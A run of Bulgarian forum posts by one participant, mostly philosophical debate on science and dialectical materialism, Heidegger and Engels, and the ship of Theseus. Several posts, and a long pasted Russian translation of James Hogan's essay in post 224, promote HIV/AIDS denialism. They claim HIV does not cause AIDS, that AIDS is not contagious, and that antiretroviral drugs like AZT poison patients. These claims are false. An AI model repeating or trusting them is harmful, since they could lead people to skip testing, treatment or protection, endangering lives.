1. В "Диалектика на природата" Енгелс отбелязва, че всеки учен си има философия и, когато ученият се подчинява на недиалектически, назадничави философии, делото му става незадоволително и точно този тип учени са заблудени, ама не, защото са учени, а, защото са станали жертва на ЗАБЛУДЕНИ И ИЗГУБИЛИ ВРЪЗКА С ВСЯКАКВА РЕАЛНОСТ ФИЛОСОФИИ. Лекарството, което предлага Енгелс е именно преориентирането към материалистическата диалектика, когато вече няма начин да си заблуден щом си хем учен, хем и диалектически материалист. Тоест научно, методологически и мирогледно ще си незаблуден.
2. Жданов (р.1896 ) си го е казал човекът - ФИЛОСОФИЯТА В ДНЕШНО ВРЕМЕ ОСТАНА ДА БЪДЕ МИРОГЛЕД И МЕТОД както на отделния човек, така и на науката (учените).
3. Сагатовский пише, че могат да са еднакво заблудени както изолираният мислител-философ, който няма хабер от света на науката, така и ученият, който се е лишил от всякаква философия и, по думите на Класиците, е станал жертва на най-лошата философия.
В този смисъл казаното от Хайдегер, че науката не мисли е нищо повече от преповтаряне на Енгелс (р. 1820), с който Хайдегер (р. 1889) е бил запознат, най-вероятно.
И какво се оказа сега? Че не само, че и без "малко по-различно мисловно усилие" в стила на Хайдегер може да се открие подобно явление, а и, че има вероятност Хайдегер да го е попрочел от Енгелс. По същия начин по който Фройд открадва идеята на Волунтаризма, трансформирайки я в либидо-теорията си и, когато му правят забележка, че "Абе ти знаеш ли, че има един Шопенхауер и ти бая го преповтаряш, защо не вземеш да прочетеш какво е писал?" Фройд рекъл, че не ще да чете Шопенхауер, за да не се повлияел и да си разруши самобитността на системата. И хайде, няма да сме некоректни и да обвиняваме Хайдегер, че е попреписал от Енгелс, без доказателства, но ще кажем в твой стил, че Хайдегер в случая не казва нищо оригинално, ново.
-----
И накрая една разрушителна критика ти правя, но нали това е целта на форумите и дискусиите:
Да приемем, че имаме в чист вид някъде абсолютно немислеща наука. Как тогава тя ще е заблудена? Заблудата изисква някакво мислене, дори животинско. Можеш да кажеш, че една овца се е заблудила, защото вместо да се прибере в кошарата на бай Митко в Макоцево е попаднала на изгладнели роми, които ясно какво са й направили (Предали са я в най-близкото поделение на МВР, като предварително са се обадили на телефон 166, разбира се!)... /Просто има и добри роми; не всички са лоши, колкото и някои да насаждат омраза към този и други етноси./ Така че можеш да кажеш, че човек се е заблудил, че животно се е заблудило, но можеш ли да кажеш, че примерно един бор или един бук се е заблудил?! Или пък, че някой вулкан се е заблудил или някой химикал? Заблудата, по дефиниция, изисква мислене, макар и на елементарно ниво. Най-високата степен на олигофрения - идиотията, при която хората даже не могат да ходят сами по нужда и да ядат, както и състояния на кома, примерно или смърт изключват всякакво понятие за заблуда, просто защото нямаме мисловна дейност в необходимия минимум.
215. Ами по времето на Ленин не е имало Интернет и завалията не е бил осведомен, поне когато е писал "Материализъм и емпириокритицизъм". Ленин не си е играл на дребно да защитава такава теория, но просто си служи за пример с нея, в общата критика на емпириокритицизма. Случва се.
-------
А-а-а, аз знам, че в науката, особено в тази, в която играят големите пари и мафията, нещата не се решават с подписки. Някои даже се простиха и с живота си, които защитават тази теория, наречена дисидентска, но го давам за пример как, колкото и да уважавам науката и да я ценя високо, за разлика от Николай Турлаков, не съм праволинеен като други учени или философи, които приемат всичко едно към едно. Служа си с Картезиански подход, да речем.
Конкретно за доказателствата срещу HIV-a като причинител на СПИН (което е синдром и го има НЕЗАВИСИМО ДАЛИ В КРЪВТА ИМА HIV ИЛИ НЕ, както и обратно - наличие на HIV не предполага СПИН) са доста, та затова и аз подкрепям (засега) теорията. Ако искаш, да се запознаеш, колкото от любопитство, във Википедията (т.е. руската) има достатъчно на брой, както и линкове към сайтове.
И последно, чисто от методологично-философска гледна точка и само защото разбрах, че си добра във философия на науката (ще прощаваш, но с тебе се запознавам в процес на диалог и не знам коя си, какво си, макар че може да се окаже и, че си ми преподавала, дори, предвид твърдението ти, че можело да си ми майка :) ).
Казваш :
"Вярно е, че не всички HIV позитивни развиват СПИН, но по-важното е, че всички надеждно регистрирани случаи на СПИН са били HIV позитивни, което говори недвусмислено за каузална връзка между двете събития."
Аз обобщавам и всеки, който разбира от обикновена силогистика да си направи "сметките":
1. Някои имат HIV, а нямат СПИН.
2. Други имат СПИН, но нямат HIV.
3. Трети нямат СПИН, нямат и HIV.
4. Четвърти имат и СПИН, и HIV.
Както казва един колега на Дюйсберг - най-много да става дума за КОФАКТОР, никаква пряка зависимост.
Това е философската страна на въпроса. Останалото е "емпирия" от рода на:
- Майка със СПИН ражда здраво дете.
- Англичанин с HIV преди 10 години сега няма HIV.
- 20 наркомана в Русия престанали да вземат наркотици, взели да водят някакъв религиозен начин на живот и същото като с англичанина.
- Много съпрузи правят незащитен секс години наред и единият си стои серопозитивен, другият - не.
И така... Накрая може да се окаже, че е като с топките на Банах и Тарски - на теория става, щото приели, че имало безкрайно частици (де да имаше, от една топка не две, а МИЛИОНИ топки можеше да се направят!), ама на практика - ядец!... И тука може да е нещо подобно. Ще видим. Лошото е, че докато видим много народ ще си иде по процедурата "Лов на вещици".
-
216. Николай, когато говоря с тебе никога не бих си позволил да говоря нещата ей-така, без да ги мисля. Най-малкото не искам да ти губя времето, защото знам, че си човек с много лични и обществени задължения, а и аз съм (се чувствам) твой приятел.
"допускам, че все пак някакси си убеден във всичките тези неща и си им вярваш, но тогава какво друго ми остава, освен да кажа, че си в заблуда :)"
Това допускане е вярно. Остава само, както казваше Андонов - ДОКАЗАТЕЛСТВА?
"С други думи, след твоите тиради, ако човек пожелае да каже нещо по тях, оказва се в цунг-цванг - нито е да каже, нито е да си мълчи :D"
Защо? Аз имам сериозна и ясна теза, изложена чисто и непредубедено, обобщавам за по-мързеливите/заети/незаинтересувани, които не са прочели:
а) Науката не е тотално-немислеща, ако си служи с метод и мироглед, какавато е философията (но може и да е религията, която също е форма на културата, примерно), т.е. науката не е чиста емпирия.
б) Науките произлизат от философията, отделят се от нея исторически. Примерно до 19-ти век няма психология в чист вид.
в) Енгелс преди Хайдегер описва феномена, че учен/наука без философия е немислещ/погрешен...
"Така че, посочването на заблуда, смятам е достатъчно. Нататък ти сам си решаваш :)"
Това ми прилича на посочването на грях от Католическата църва, примерно. Не се приема.
"п.п. А, виж как щях да забравя, ама то е вече и от годините :): тук няма кой да впечатлиш с "патоса" и "романтизма" на "диалектическия материализъм" - всички сме наясно със ситуацията на единствената и правилна философска методология и истина :) Не, мерси :)
"
Когато почнах да пиша за пръв път във форума на АБВ ме обвиниха, че съм агент на Китай, който, по някакви неведоми пътища е решил да прави реклама на Китай в страна като България, която е толкова извън стратегическите интереси на Китай, колкото примерно Андора. /Просто така съдя от нещата, които знам от новините - например за Китай е важен Тайван. Не съм свързан с никакви политики./ Сега да не излезне, че искам да правя пропаганда на Диалмата тука? Не. Но, ако някой има нещо против, нека да оспори по правилата на философските диспути или на научните такива, в най-общ и КАКЪВТО И ДА Е ВИД. Иначе само казването : "Не съм съгласен, защото си заблуден" (Николай) или "Не съм чел, защото не ме кефи." (Росен), просто не работят. Който ме чете в споровете с Лилия знае, че аз не съм съгласен на 100 % с всичко казано от Маркс, Ленин и др. авторитети на Диалектически материализъм, но искам да се уча с ДИАЛЕКТИЧЕСКА КРИТИКА, а не с ГОЛА КРИТИКА.
Георг Брутян (1926, арменски философ спец. по теория на познанието, методол., логика, епистемологии и каквото се сетите) казва, че има два вида критика - Виждаш една статуя, дето ти се струва "сбъркана" и предлагаш да се внесат такива и онакива корекции, надграждайки над вече доброто у статуята. Другият подход е НИХИЛИСТИЧЕСКИЯТ, който в момента, поне в този пост се предлага - "Не си прав, всичко е невярно, заблуда, на кладата!"... Ами така се изпада в догматизъм. И един съвет към всички - ДАЖЕ И ДА СТЕ ДОГМАТИЦИ, ПОРАДИ НЕСПОСОБНОСТ и/или УБЕДЕНОСТ в правотата на идолите си - прилагайте някаква иманентна, диалектическа критика, в противен случай казването "Не!" не може да подейства никак, освен, евентуално, на емоционална основа и то, ако някой ви има вече за авторитет на принципа "Master dixit" ("Учителят рече")...
217. Николай, от сега отговарям и на по-долния пост, че, както съм казвал - на тебе не мога да ти се обидя, по следните ОБЕКТИВНИ ПРИЧИНИ, които предлагам и на вниманието на другите:
а) Николай е в повечето случаи, ако не и на 100 % човек, който няма за цел да обижда хората и си гледа съществените неща в живота. Ако се случи да обиди някой го прави без умисъл.
б) В моя опит Николай е човек, който в рамките на "понякога до често" се оказва прав.
в) Аз предпочитам един активен Николай, който да изрази несъгласие (ама обосновано, поне когато има време и може), отколкото съгласяващ се и мълчащ си.
И сега конкретно:
"Георги, приемам, че разбираш, че за "мислене" и "заблуда" при животните се говори по-скоро в преносен смисъл :)"
Не винаги. И то на 2 нива. Първото е непросветеното, селското в манталитетно-научен смисъл на думата, а не като топос (село), където се приема, че животните са си почти равнозначни по мисъл на хората. Поне из Плевенските села съм чувал бабички да си говорят с козите като с деца или големи хора, с почти пълната убеденост, че ги разбират. ВТОРОТО НИВО е именно етологичното - смята се, че висши маймуни, дори делфини имат не просто мислене и съзнание (за самосъзнание е малко спорно засега), но и ЕЗИК. В този смисъл заблуденото животно, КОЕТО ПРИ НОРМАЛНИ УСЛОВИЯ ЗНАЕ ПЪТЯ (а знанието на пътя не е вродено, първосигнално, немисловно, а УСЛОВНО-РЕФЛЕКТОРНО явление), но се обърка е изпаднало в заблуда, защото просто не е постигнало целта си.
"А също така предполагам, че си наясно, че когато казваме за някой човек, че "не мисли", нямаме предвид, че той е дърво, а че нещо не схваща..."
И пак зависи - ако някой е в кома или е с вродена идиотия, мисленето наистина не се предполага от психолози, психопатолози, невролози и всички свързани със занаята, вкл. и философи.
218. Хераклит, благодаря ти. Интересен ракурс към моята философстваща личност, няма да го коментирам, само ще посоча моя накратко, а накрая и ще ти направя подарък:
На времето Николай в една почивка беше казал : "Георги, ти си понесъл цялото страдание на Битието!" по повод на това, че след спор с него на тема "Наука ли е философията?" му казах да не си мисли, че настоявам само философите да се занимават с наука, още по-трудно ми е да убедя учени (лекари, физици и пр.) да се занимават с философия.
Тоест аз изхождам от едни много просто предпоставки - единство на наука с философия, отговорност, предпазливост и непрестанно надстройване, учене, движение, с УДЪРЖАНЕ НА ПОЛЕЗНОТО И АВТЕНТИЧНОТО.
Ето и подаръкът ми за тебе :
/Беше връзка към сайт с илюзии, но вече не съществува./
Сигурен съм, че ако разгледаш до край всичките над 100 илюзии ще придобиеш много, много нови идеи за философстване, които ще са полезни и за нас. :) Дори и да не те наведат към философии, то поне естетически биха ти донесли много удоволствие. Предполагам че и на други хора ще са интересни, но, съм сигурен, че от познатите ни тук, най-много ще се вдъхнови Хераклит, макар и предвид общата му култура да е виждал поне 40-50 % от тях вече.
219. "и Калина, и Далай са прави, въпреки че застават зад различни отговори - просто те конструират по различен начин понятието "корабът на Тезей" - единият полага същността в "идеята", а другият - в конкретния материал."
Аристотел казва, че, за да е същият, корабът трябва не само да се състои от същия материал, но и ДА Е НАПРАВЕН ОТ СЪЩИТЕ КОРАБОСТРОИТЕЛИ. Отделно, той също казва, че идеята (същността) на кораба била по-важна от материала и пр. Само че аз викам материалът също да е важен, защото той е бил този, който е "преживял" цялото пътешествие. Останалото е, както казва колегата - РЕКОНСТРУКЦИЯ. А всяко реконструирано е ПОДОБНО, но не еднакво. Вземаме пак за пример "Брадвата на дядо" - дали първо ще й смениш метала и после дървото, с което става нова/друга брадва или директно ще сглобиш от новите метал и дърво въпросната нова брадва е все едно и също. Тоест парадоксът се разрешава с ОПРОСТЯВАНЕ, с РЕДУКЦИЯ. Силиконовите чипове /силициеви чипове, е по-правилно да се наричат/ и мозъкът усложняват нещата. А брадвата ги опростява и изяснява. Новото друго, колкото и да има еднаква форма, функционалност и пр. е ПОДОБНО, но не и СЪЩОТО. И добре са го казали хората, че истинският кораб на Тезей би бил по-скоро този, съставен от старите части, отколкото този, съставен от новите.
220. Истината е по средата. Има си както много идеализми (казано по маркистки), симулакруми (казано по нео-макрсистки), с които трябва да се борим, защото са вредни, така и много добри понятия, които спомагат за формулирането на проблемите, за отразяването на света или за конструирането на нов свят.
221. Хм,... на прима виста не знам какво да кажа по-така "оформено", но пък и така е по-добре, понеже аз много не уважавам формите, а съдържанието. И като съдържание ще кажа основните неща, които ми направиха различни впечатления, според както следва:
- Много си хубава. Не просто "сладка", а хубава. Доколкото съм привърженик на "The beauty is in the eye of the beholder." ("Красотата е в очите на този, който харесва."/"Красотата е субективна."), никой не задължавам с естетическото си усещане, изградено по снимката ти там, а и не ме интересува дали е нова или стара. (В същото време като социално-отговорен индивид се надявам коментарът ми да не внесе негативизъм у всички останали хора от мъжки пол - от евентуален съпруг до обожатели, които също споделят моето мнение!)
- Професор! Браво! Аз не, че се впечатлявам от титли - доста философи, които са били продуктивни и умни, включително Ленин и аз :), не сме ставали професори, но... друго си е във форума да си имаме професор и то от женски пол, че да не изпадат хората в сексизъм. Аз съм много против предразсъдъците, вкл. сексизма. Сигурно той е един от най-дразнещите ме...
- Идем до сериозното питане - къде точно Ленин писал за топлорода. Такива въпроси ме втрещяват и ми иде да кажа като Симеон 2-ри, че трябва да си вЕрваме повече. Ама предвид, че си комуникирам с толкова красиво и учено същество ще кажа, че това нещо ми се мярна в далечната 1993 в книга, където под линия се казваше на български, че Ленин си служи с все още популярното понятие топлород (на руски е "теплород") и така ми е останало в мозъка. Ако пък ми е насадено погрешно знание - съжалявам. Но, така или иначе, за неизчерпаемостта на елетрона в дълбочина, за което и ти си съгласна, си оставам на позицията, която подкрепя принципа ми, че не е важно КОЙ ГО Е КАЗАЛ, а ДАЛИ Е ВЯРНО. Както е казал Николай Турлаков - "Казването си остава над мене."
---
Пробата, пробите/тестовете за HIV са един от проблемите, иначе аз в качеството ти на учен-философ-логик те приканвам да ми кажеш какво следва от:
Има А, има и Б.
Има А, но няма Б.
Няма А, но има Б.
Няма и А, и Б.
Б причинява ли А? Защо? И с каква степен на вероятност, приблизително?
222. /Относно какво ново сме научили днес. (Изхождайки от веруюто си, че всеки ден трябва да се учи нещо ново.)/
Откривам рубрика, в която не се притеснявам даже и да си пиша сам. И един да пише пак е полезно за всички. Както и всички, ако пишат ще е полезно за единиците. За какво иде реч? Както съм казвал и преди - философите, докато дишат, работят живеят и, евентуално, пишат (тъй както умеят), е редно да се образоват, осведомяват, напредват, а не да остават на едно място. Диалектическото, спираловидно развитие, предполагащо натрупване на ново знание и удържане на градивното от старото е смисълът, който аз полагам за себе си и, който е полаган от други хора.
Конкретно - тук предлагам всеки да пише какво ново е научил днес, което е с обективна значимост, поне опосредстсвено от първа степен, ако не непосредствено. Отделно можете да пишете и за нови лични отрития, изобретения. Доколкото новото е субективна категория (за някой това, че Иван Стефанов е починал може да е новина, както беше преди година някъде с мене, за друг - отдавна известен факт), то предлагам да не се притеснявате, че може 50% до 100% от останалите да го знаят въпросното ви ново знание. Винаги има възможност поне 1% да не го знае. И така, започвам аз:
1) Попър бил живял и преподавал в Нова Зеландия по едно време.
2) Маорите, коренните жители на Нова Зеландия, за пръв път се бият с турци по време на Първата Световна война.
3) Нан Мадол ("Тихоокеанската Венеция") е изкуствен архипелаг от 92 острова, свързани със система от изкуствени канали и до 1500 г. е столица на династията Со Дельор (Saudeleur). Днес се намира в зависимата от САЩ държава Микронезийски Федеративни Щати.
4) Американската философка Патриша Хил Колинз създава течението "Черен Феминизъм".
223. Ваня, мерси, но искаше ми се и да разбера дали ти не си на същото мнение като мене, че нищо не е делимо до безкрайност, че атомизмът, в класическия му смисъл, е правилен и, точно затова, от една топка не може да се получат две нови еднакви, поради което и от една луканка или лютеница също не могат да се получат две еднакви. Ако нещата бяха делими до безкрайност и съдържаха в себе си безкрайно-много точки то не една, а още безброй много индентични топки биха могли да се направят от една-единствена. Да, ама не става, защото в един момент стигаме до енергия, а не до материални, безкрайно много точки...
Иначе то Лилито сладко било, а аз да не знам... така и можеше да си умра непросветен. А той Ленин си го е казал : "Да се учим, да се учим и пак да се учим!"...
(Следва...)
-
224. Търговията с презервативи на някои мощни компании е, според много HIV-десиденти, мотив за преследването им. В същото време всеки от тях казва, че дори и да няма полово предаване на СПИН, то не значи, че няма МНОГО ДРУГИ венерически болести, които са ДОКАЗАНИ и се предават доста по-сигурно (примерно над 50%), докато ужким СПИН-ът се предавал с някакви си 0.5% и пр.
Отделно, казват, че човек, който приеме насериозно, че има HIV и следователно СПИН и се подложи на лечение доста по-бързо може да умре поради токсичността на тези "лекарства", да не говорим за психогенните стресове от такава диагноза.
Отделно и до днес най-голяма група на риск от СПИН си остават наркоманите и недохранените - т.е. тези, които наистина си унищожават имунитета волю или неволю. Тези, които ужким са се заразили от полови контакти, вкл. и проститутки, са в дъното на таблицата.
В такъв ред на мисли са нещата и призовават към КРИТИЧЕН, НЕДОГМАТИЧЕН поглед към проблема.
С оглед на заетостта ти, ти препоръчвам на първо време само 1 статия с хубавото име:
Ереста под името "ХИВ-СПИН" и новите епископи.
От книгата на Хоган "Rockets, Redheads & Revolution".
/Имаше линк, но вече не съществува, та ще припейстна тук: "Ересь под названием ВИЧ-СПИД и Новые Епископы
Автор: Джеймс П. Хоган (JAMES P.HOGAN)
Из книги Джеймса П. Хогана "Ракеты, Красноголовые и РЕВОЛЮЦИЯ", изданной в США в 1999 г. (JAMES P.HOGAN Rockets, Redheads & REVOLUTION).
Перевод с английского А.В Богданова.
Считается, что наука имеет дело с объективной реальностью, - с тем, что существует на самом деле, и что лежит вне человеческих возможностей и желаний оказать влияние. Её убеждения основываются исключительно на фактах, а последствия, как хорошие, так и плохие, выходят такими, какими уж получатся. Политика же имеет дело со способностью людей изменяться, и её убеждения, получая соответствующий отклик, вызывают появление новых политических программ. Но в этом случае слишком часто правда остаётся далеко в стороне.
Когда в начале 80-х годов вспыхнула истерия, связанная со СПИДом, я жил в Mother Lode country в предгорьях Сьерра Невады в северной Калифорнии. Поскольку я давно уже исключил средства массовой информации из числа достоверных источников каких бы то ни было сведений, я не уделил ей большого внимания. Моим близким другом и приятелем по выпивке был в то время бывший армейский физик, помогавший тогда мне в работе над несколькими книгами. Из любопытства мы проверили официальные данные департаментов здоровья различных городов и штатов. Во всей Калифорнии оказалось около 1100-1200 случаев, и все они практически полностью относились к двум чётко ограниченным районам Сан-Франциско и Лос-Анджелеса, связанным с наркотиками и другими далёкими от меня образами жизни. Так о какой же великой “эпидемии” нам толковали? О, но мы же ничего не понимаем, сказали нам. Она распространяется новым вирусом, который на 100% смертелен, и готов заразить всё население целиком. Его можно получить от секса, от туалетных сидений, от своего дантиста, от вдыхания воздуха, и тогда уже нет никакого спасения. Род человеческий может исчезнуть.
Но и этому я не поверил, хотя и не мог дать хорошо обоснованного объяснения. Одной из причин было то, что, хотя СПИД был вокруг уже в течение нескольких лет, он всё ещё явно ограничивался первоначальными группами риска. Если он собирался “взорвать” всё население, должны были существовать бесспорные свидетельства этому. Их не было. Другой, более серьёзной причиной, я думаю, было то, что разжигание страстей у публики стало такой прибыльной и политически плодотворной индустрией, что чем более ужасающей выглядела ситуация, тем более скептически я реагировал. Все вопли противоречили тому, что говорили мои собственные глаза и уши. Из тех, кого я знал, никто не имел этой болезни. Никто из тех, кого я знал, не знал никого, кто её имел. Но “все знали”, что она была всюду. Я не сомневаюсь, что, когда Черная Смерть поразила Европу, или оспа добралась до американцев, люди знали, что действительно имели дело с эпидемией. Если же для того, чтобы убедить вас в наличии проблемы, нужна стоящая миллиарды долларов пропагандная индустрия, это значит, что проблема не так уж и велика.
Так я продолжал жить, почти не вспоминая о ней, пока не посетил Калифорнийский университет в Беркли и не встретился по убедительному совету нашего общего друга с Питером Дуесбергом (Peter Duesberg), профессором молекулярной и клеточной биологии. Беседы с Дуесбергом и его коллегами, как первая, так и последующие, ошеломили меня и возвратили интерес к этой проблеме. Я занимался этим несколько лет и имел множество контактов по всей Америке и в весьма отдалённых от неё странах - Англии, Германии, Австралии и Южной Африке. Нам нравится думать, что дни Инквизиции миновали. Посмотрите, однако, что может случаться с некорректной по отношению к политике наукой, когда она ступает на путь бандитизма, подталкиваемая огромными деньгами, - и с учеными, которые не обращают на это внимания и пытаются лишь сосредоточиться на том, о чём вроде бы говорят факты.
Прежде всего, надо развеять расхожее заблуждение, будто “СПИД” -нечто новое, появившееся внезапно в районе 1980 года. На деле это -совокупность болезней, существовавшая вместе с нами в течение всей истории медицины, которая в отдельных группах превысила средний уровень частоты заболеваний. Примером может служить Pneumocystis carinnii, -редкий тип пневмонии, которую вызывает обычно мирный микроорганизм, живущий в лёгких почти каждого человека на планете. Как правило, он становится патогенным у людей, больных раком, чьи иммунные системы подавлены химиотерапией.
Присутствие у этих больных в начальной стадии болезни различных условно-патогенных факторов типа кишечных дрожжей подтверждало снижение их иммунитета. Многие из них страдали также ранее редко встречавшейся опухолью кровеносных сосудов, известной как саркома Калоши. Для медицинских авторитетов явилось неожиданностью, что эти случаи были сконцентрированы в группе 20-40-летних мужчин, обычно считающейся здоровой возрастной группой. В результате они стали считать главной и единственной причиной болезни сходные условия их существования. Жертвами были почти исключительно гомосексуалисты, что привело к гипотезе о возбудителе инфекции, передаваемом главным образом половым путём. Эта гипотеза, казалось бы, ещё больше укрепилась, когда в ту же самую общую категорию были включены и другие болезни, связанные с дефицитом иммунитета (туберкулёз среди наркоманов, различные инфекции у больных гемофилией и доноров), и которая к тому времени была официально названа Синдром Приобретенного Иммунодефицита, или СПИД.
Впоследствии, ответственный за это агент был объявлен, новым вирусом уже известного вида “ретровирусов”, который позднее назвали Вирусом Иммунодефицита (ВИЧ). Больные СПИДом страдали от болезней, возникавших вследствие ВИЧ-инфекции, которая, как полагают, уничтожает “Т-хелперы” - вид лейкоцитов, стимулирующих производство антител, соответствующих вторгнувшимся микроорганизмам.
Такова основная парадигма, до сих пор официально обрисовывающая нашу беду. Вирус, о котором прежде никто не слышал, потому что технологии его обнаружения не существовало до восьмидесятых годов, можно поймать где угодно, и против него нет никакой вакцины. Он был найден в Африке в совокупности с разнообразными другими видами болезней, что вызвало предположение, что он оттуда родом, и средства массовой информации упивались описаниями неуправляемой глобальной пандемической чистки континентов. Однажды заразившись, уже нельзя было вылечиться, так что неизбежными и необратимыми становились постепенная чрезвычайно тягостная физическая деградация и финальная смерть.
То, что для кое-кого стало плохой новостью, оказалось благоприятным случаем для огромной, перенасыщенной и в большой степени безработной армии биомедицинских работников, которая, как только это случилось, была мобилизована, оснащена, обучена и стала ожидать той самой критической ситуации. Стремясь в пятидесятых - начале шестидесятых годов уничтожить полиомиелит, медицинские учебные заведения выпустили большое количество вирусологов, нацеленных на получение нобелевских премий. Новые федеральные отделения, созданные для контроля и оповещения об инфекционных болезнях, ждали своего часа. А поскольку в борьбе с раком поиск его вирусной причины окончился безрезультатно, все эти силы, нуждавшиеся в эпидемии, бросились в крестовый поход на разгадку действия нового смертельного вируса и на производство вакцины против него. Никакой вирус не изучался так интенсивно, как этот. Опубликованные материалы исчислялись тысячами, и всем была обеспечена работа, поскольку федеральные расходы возрастали ежегодно на миллиарды долларов. Никогда ещё научно-медицинская братия и руководившие ею бюрократы не получали столь щедрого подарка. Как только ВИЧ стал автоматически приравниваться СПИДу, любой человек, положительно протестированный на этот вирус, становился несчастной жертвой, имеющей право на обслуживание за общественный счёт, что означало прибыльные консультации, доходы от тестирований, и лечение самыми дорогими лекарствами из выпускавшихся когда-либо фармацевтической промышленностью. К тому же, в отсутствие вакцины единственным средством предотвращения эпидемии оказалась проверка на ВИЧ носительство. Это означало создание ещё одного растущего сектора из агентств содействия, консультативных центров, обучающих компаний, а также групп поддержек и советников для обслуживания жертв и их семей. В то время как многие находили мучительный конец, другим было как никогда хорошо. Исследователи, которые иначе провели бы свои жизни, глядя в микроскоп и, отмывая чашки Петри, стали миллионерами, основав компании по производству ВИЧ-тестов и назначив гонорары за их проведение. Бывшие уволенные становились политически заметными и комфортно жили в качестве организаторов программ, финансируемых правительственными грантами, а также за счёт подачек от лекарственных компаний. Настало время действий вместо размышлений и деклараций вместо постановки вопросов. Да и кто захочет канителиться, имея такого золотого гуся?
Затем, в конце восьмидесятых, Питер Дуесберг опубликовал статью, где, представьте себе, пришел к выводу, что СПИД совершенно не может вызываться не только ВИЧ, но и вообще каким-либо вирусом. Фактически, он считал, что “СПИД” не заразен!
Он увидел лишь различные группы людей, заболевших различными способами и по различным причинам, и имевших отношение к специфическим рискам, которым эти группы всегда подвергались. Ни разу не была убедительно продемонстрирована какая-либо общая причина, связывающая их всех вместе. В самом деле, почему слабоумие или изнуряющую болезнь, надо считать чем-то таинственным, раз они не результат иммунодефицита. Наркоманы разрушали свои иммунные системы вводимыми веществами, заражались туберкулёзом (ТБ) и пневмонией через нестерильные иглы и грязные наркотики, изнуряли себя бессоницей и недоеданием, которые обычно сопутствуют такому образу жизни. Гомосексуалисты получали саркомы вследствие практически всеобщего использования азотных ингаляторов, а также в результате дрожжевых инфекций (подавляющих полезные защитные бактерии), возникших из-за передозировки профилактически используемых антибиотиков. У больных гемофилией иммунитет оказывался подавленным повторяющимися вливаниями чужеродного белка. Люди, подвергшиеся, переливанию крови, уже были больны той или иной болезнью. Люди, пользовавшиеся “антивирусным” лекарством азотиоприн (AZT были им отравлены. Африканцы, страдали от совершенно иных болезней, характерных для условий бедности в тропическом климате. Остальные несколько человек заболели по причинам, которые никогда не удастся объяснить. Единственное изменение во времени состоит в том, что некоторые из этих групп численно возросли. Этот рост хорошо согласуется с ростом употребления наркотиков в конце шестидесятых - начале семидесятых, и Дуесберг полагает, что наркотики являются основной причиной наблюдаемого роста.
Дуесберг имеет высокую квалификацию в этой области, но понимание того, что он сделал, вовсе не требует знаний доктора наук или заоблачных высот ума. Начнём с того, что в течение нескольких лет после появления, различные виды “СПИДА” упрямо ограничивались первоначальными группами риска и среди его жертв всё ещё было более 90 % мужчин. Инфекционная болезнь не ведёт себя таким образом, она одинаково воздействует и на мужчин, и на женщин. Распространение новой болезни среди беззащитного населения шло бы экспоненциально. Именно так и предсказывалось вначале, но этого не произошло. В то время как пресса продолжала ужасать мировую публику своими творениями, планета Земля оставалась в порядке. Гетеросексуалы, не употреблявшие наркотиков, не заражались СПИДом. В США, если вычесть известные группы риска, насчитывалось около 500 случаев в год - меньше, чем количество несчастных случаев от употребления загрязненной воды. Супруги и сексуальные партнеры жертв СПИДА не заражались им. Проститутки, не употреблявшие наркотиков, равно как и их клиенты не заражались им. Короче говоря, налицо были все признаки неинфекционной болезни, описанные в учебниках.
Элементарный принцип науки и медицины состоит в том, что одна лишь корреляция не служит доказательством причины. Если сообщается, что событие А, как правило, сопровождается событием В, то имеется четыре возможных объяснения:
(1) А служит причиной В;
(2) В служит причиной А;
(3) нечто третье служит причиной и А, и В;
(4) эта корреляция - только совпадение или искусственно преувеличена, например, путём отбора данных.
Нет никакой причины склоняться к заключению (1), пока строго не устранены остальные три.
В стремлении поскорее найти возбудитель инфекции, считает Дуесберг, была совершенно неправильно проинтерпретирована роль ВИЧ. Далеко не являясь общей причиной различных состояний, называемых “СПИДом”, сам ВИЧ был условно-патогенной инфекцией, проявляющейся на конечных стадиях ослабления иммунной системы, вызванного другими причинами. В некотором смысле СПИД порождал ВИЧ. То есть последний выступал в роли “маркера” групп с высоким риском, но сам по себе не был ответственен за проблемы здоровья, которые эти группы испытывали. Высокая корреляция между ВИЧ и СПИДом, на который постоянно ссылались, была артефактом, следствием способа, которым определили, что такое СПИД:
ВИЧ + характерные симптомы = СПИД;
характерные симптомы без ВИЧ = характерные симптомы. Таким образом, если налицо все симптомы ТБ и ВИЧ-тест даёт положительный результат, это СПИД. А если есть совершенно клинически неразличимое с этим состояние и ВИЧ-тест отрицателен, это ТБ.
Такой подход, конечно, может сделать проблему тривиальной и с научной, и с медицинской точки зрения.
Когда научная теория терпит неудачу в своих предсказаниях, они или изменяются, или отменяются. Наука приветствует обоснованную критику и всегда готова повторно исследовать свои заключения в свете нового факта или альтернативного аргумента. Конечная цель состоит в выяснении истины. Но то, что происходило, не было похоже на науку. Дуесберга встретили хором оскорблений и насмешек, сопровождаемых таким уровнем страстности, какой редко бывает среди профессионалов. Вместо готовности пересмотреть взгляды, он встретился с уловками, направленными на сокрытие или отрицание неудач своих прогнозов. Подобный вид реакции типичен не для учёных, а для политиков, и называется “контролем ущерба”.
Например, статистика новых случаев СПИДа всегда давалась только нарастающим итогом (суммировалась с предыдущими случаями) и, значит, могла только расти, что контрастирует с обычной практикой в отношении других болезней, когда сообщаются ежегодные количества, и любая тенденция видна с первого взгляда. Несмотря на продолжающуюся истерию средств массовой информации о неподдающейся контролю эпидемии, реальные цифры Центров эпидемического контроля (ЦЭК) по каждой из категорий стали уменьшаться после достижения пика в районе 1988 года. И это происходило несмотря на неоднократные переопределения СПИДа, включающие в него всё новые и новые болезни, до того СПИДом не считавшиеся. Их производили пять раз с 1982 до 1993, так что в итоге за первые девять месяцев 1993 года получился общий рост на 5 %, хотя иначе итоги за 1992 год показали бы снижение на 33 %. В настоящее время (1997) насчитывается 29 болезней, относящихся к СПИДу. Одной из вновь добавленных категорий является рак шейки матки. (Воинствующие феминистки протестовали, что мужчины получают слишком много помощи в качестве жертв СПИДа.) Ничего нового не было замечено, но заголовки стали кричать, что гетеросексуальные женщины - самая быстро растущая группа СПИД. Тем временем, кампания, проведённая в школах и университетских городках, делала своё дело по терроризации молодых людей разрушительными действиями подросткового СПИДА. И снова фактические данные говорили о совершенно иной истории. По данным ЦЭК число случаев в Нью-Йорке среди людей от 13 до 19 лет за период с 1981 до конца июня 1992 составило 872. Когда из этого числа исключили гомосексуалистов, наркоманов, вводящих наркотики внутривенно, и больных гемофилией, число не входящих в эти группы (или не признающих этого) уменьшилось до общего итога 16 человек за 11-летний период. (Именно шестнадцать. Вы прочитали правильно.)
